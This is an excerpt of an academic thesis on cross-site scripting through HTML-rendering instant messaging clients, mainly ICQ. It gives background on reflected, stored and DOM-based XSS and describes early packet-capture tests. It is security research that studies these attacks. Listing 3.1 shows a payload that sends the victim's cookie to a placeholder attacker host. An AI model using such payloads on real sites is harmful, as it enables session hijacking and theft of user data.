Excerpt
Contents
1 Abstract
2 Introduction
3 Overview
3.1 Cross-Site Scripting (XSS)
3.1.1 Reflected XSS
3.1.2 Stored XSS
3.1.3 DOM injection
3.2 Instant Messaging and Cross-Site Scripting (XSS) .
3.2.1 ICQ
3.2.2 Miranda IM
3.2.3 Pidgin
3.2.4 Climm
4 Testing
4.1 Preparations
4.1.1 Platform adaptations
4.1.2 Analysing activities
4.2 Message Box
4.2.1 XSS Cheat Sheet
4.2.2 HTML Tags
4.2.3 CSS Expressions
4.3 Files
4.3.1 Maliciously Formed Names
4.3.2 Malicious Content
5 Conclusion
List of Figures
2.1 OWASP Top Ten Project release 2010
3.1 Reflected XSS using a search engine
3.2 Stored XSS using a comment field
3.3 HTML interpreted text which was sent with an Instant Messaging Client
3.4 ICQ-sent package viewed in Wireshark
3.5 Climm Instant Messaging client
4.1 Process Monitor for analysing activities
4.2 Security settings and user-password
4.3 ICQ-file MBContainer.dll
4.4 Messages temporary stored/cached in Messages.qdb
4.5 Animated smiley
4.6 Message box of ICQ 7.2
4.7 Link delivered and displayed
4.8 Link-content being executed
4.9 No blocking, no execution
4.10 Picture file with JavaScript code as comment
4.11 SVG-file opened with Safari 5.0.3 (6533.19.4)
4.12 SVG-file opened with Opera 11 showing folder content filtered by *.exe
Listings
3.1 DOM-based attack stealing victim’s cookie
4.1 Hiding "bad" tags in "good" tags
4.2 Hiding "good" tags in "bad" tags
4.3 Link containing a data URI
4.4 Known attack to access victim’s hard disc
4.5 All HTML tags as test vector
4.6 Sending all attributes
4.7 Sending all events
4.8 Sending an alert
4.9 CSS Example
4.10 Test vector using expressions
4.11 Used test vectors
4.12 Using data encoding- expressions containing script code
4.13 Simple SVG-file
4.14 Malicious SVG-file
4.15 Malicious SVG-file with file-access
1 Abstract
Cross-Site Scripting is a wide-spread kind of attack. It has been reported and exploited since the 1990s and became more and more important in the era of Web 2.0. Roughly 80 percent of all security vulnerabilities are Cross-Site Scripting [Syman2007]. But Cross-Site Scripting has always been a web application security hole so far and everyone focused on secure programming of web applications. In addition to this, there are many more possibilities of data exchange like instant messaging. Instant messaging clients were developed further and are now able to interpret HTML. This new potential of security holes is the emphasis of this work. The focus is on the question: Is it possible to execute JavaScript in file system context?
2 Introduction
Ever since the era of Web 2.0 we need to be concerned about security issues. At that time web ap- plication spread like wildfire and all companies wanted to be able to keep up to stay marketable. It was the age of the first online banking, online shopping and social network-applications and it was a growing sector where everybody wanted to have a share. Connected with the rapid tempo of programming web applications, security issues fell by wayside. Media reports about "hacker attacks" became more frequent. The necessity of counter-measures came up and as a conse- quence the Open Web Application Security Project (OWASP) originated [Owasp2010]. The OWASP TOP Ten Project was founded to classify the most important top ten security problems of web applications in 2004 (first release). The next release was published in 2007. Some of the most common attacks were named different and some of the attacks were new. The last release was published in April 2010. In second place one can find Cross-Side Scripting (figure 2.1).
Abbildung in dieser Leseprobe nicht enthalten
Figure 2.1: OWASP Top Ten Project release 2010
Cross-Site Scripting, better known as XSS, occur whenever an application takes data originated from a user and sends it to a web browser without first validating or encoding that content. It has been reported and exploited since the 1990s and were roughly 80 percent of all security vulnerabilities documented by Symantec as of 2007 [Syman2007]. Considering that many web applications (like online banking- or e-commerce application) deal with money or user data, Cross-Site Scripting attacks can become a great danger.
Instant Messaging (IM) registered a similar growth. First appearing on a multi-user operating systems like CTSS and Multics in the mid-1960s, modern and GUI-based messaging began to take off in the mid 1990s with PowWow, ICQ and AOL message [Insta2001]. Today current IM clients can even be installed on mobile devices like smartphones and tablets and are a widespread form of communication. But what do Instant Messaging and Cross-Site Scripting have in common? This work deals with the possibility of executing XSS not only in context of web applications, but also after being delivered by an instant messaging client.
3 Overview
3.1 Cross-Site Scripting (XSS)
Cross-Site Scripting, better known as XSS, is the most far spread web application security issue. It is in fact a subset of HTML injection and the most prevalent and pernicious vulnerability of web applications. XSS enables malicious attackers to inject client-site script into web pages viewed by other users (Stored XSS) or viewed by the victim himself once (Reflected XSS). An exploited Cross-Site Scripting vulnerability can be used for executing script in the victims’s browser, which can hijack user sessions, deface web sites, insert hostile content, conduct phishing attacks, and take over the user’s browser using scripting malware.
3.1.1 Reflected XSS
Reflected (or non-persistent) XSS is the easiest to exploit - a page will reflect user supplied data directly back to the user. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for (figure 3.1). Such a hole shows up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request. If the victim owns extended rights (administrators, owner of bank accounts), it is even possible for the attacker to attain possession of all of the victim’s privileges [OwXss2010].
3.1.2 Stored XSS
The stored (or persistent) XSS vulnerability is extremely dangerous in systems such as CMS, blogs, or forums, where a large number of users will see input from other individuals. Stored XSS takes hostile data, stores it in a file, a database, or other back-end systems and then at a later stage, displays the unfiltered data to the user. This kind of XSS exploit is such devastating, because an attacker’s malicious script is rendered automatically, without the need to individual target victims or lure them to a third-party website. For example, malicious comment placed in a comment field of a social network website (figure 3.1) would be executed every time a user opens the malicious user profile containing the comment of the attacker [OwXss2010].
3.1.3 DOM injection
With DOM based XSS attacks, the site’s JavaScript code and variables are manipulated rather than HTML elements. This kind of attack will be executed on the victim’s client and was first
Abbildung in dieser Leseprobe nicht enthalten
Figure 3.1: Reflected XSS using a search engine
Abbildung in dieser Leseprobe nicht enthalten
Figure 3.2: Stored XSS using a comment field
described by Admin Klein in his paper "Dom Based Cross Site Scripting or XSS of the Third Kind" [Klein2005]. By using DOM elements the attacker is able to address and manipulate them. Steeling a cookie with DOM based XSS is typical example of using this form of XSS (listing 3.1) [OwXss2010].
Listing 3.1: DOM-based attack stealing victim’s cookie
http : / /www. example .com/ index . html?name=<script>document . location= ’http :// attackerhost .example/cgi − bin/ cookiesteal .cgi?’ +document.cookie</script>
3.2 Instant Messaging and Cross-Site Scripting (XSS)
Instant messaging (IM) clients are a dime a dozen. Once built for simple text-based communi- cation with two ore more people, it is now capable of utilizing different types of communication like sending birthday cards, flash animated messages and files. But what has instant messaging to do with Cross-Site Scripting? As mentioned at the beginning of this work, XSS used to be the most relevant hacking technique in connection with web applications, but why do we now connect instant messaging and XSS? Well, with the years, instant messaging was getting more and more complex. Its was not only possible to send simple text, but also to affect its look by using HTML (figure 3.3).
Abbildung in dieser Leseprobe nicht enthalten
Figure 3.3: HTML interpreted text which was sent with an Instant Messaging Client
The usage of HTML implies the possibility of vulnerabilities, if security has not been threat- ened as a main aspect. ICQ is the most popular IM-client and will be the main tested IM client in this work.
3.2.1 ICQ
ICQ is an instant messaging computer program, which was first developed and popularized by the israeli company Mirabilis. First Mirabilis was established in 1996 by five Israelis: Yair Goldfinger, Sefi Vigiser, Amnon Amir, Arik Vardi, and Arik’s father Yossi Vardi [ICQC2011]. They recognized that many people were online accessing the internet through a non-UNIX op- erating system, and that there was no software that enabled an immediate connection between them. The missing part was the technology for locating and connecting the users of the Win- dows operating system. The first version of the program was released in November 1996 and ICQ became the first internet-wide instant messaging service, later patenting the technology [ICQB2007]. Later it was bought by America Online [ICQB2007], and since April 2010 owned by Mail.ru Group [ICQC2011].The name "ICQ" is an adaptation of the Morse code callout "CQ", which means "calling any station". According to Time Warner [Warne2001], ICQ has over 100 million accounts registered. ICQ’s features are
- sending text messages
- offline support
- multi-user chats
- free daily-limited SMS sending
- resumable file transfers
- greeting cards
- multiplayer games
- searchable user directory and many more.
ICQ as sending-client First naive sending of a test vector with ICQ revealed some problems. It seemed that sending HTML-formated text with ICQ has not been interpreted. The chosen test vector was
<i>italic</i>
which should appear on the recipient’s side as italic
Abbildung in dieser Leseprobe nicht enthalten
Figure 3.4: ICQ-sent package viewed in Wireshark
Figure 3.4 shows the content of a package sent with ICQ v7.2 build: 3525. In view is first a classic HTML-structure with tags like <html> and <body>. Within the body-tag one can see the sent message text which seems to have been encoded to < ;i> italic< ;i/i>
The conclusion after watching the package with a tool named "Wireshark" [Wire2011](client for scanning network traffic, see chapter 4.1) is to choose another sending client. If messages are changed before sending, one can hardly verify the success of a test vector.
[...]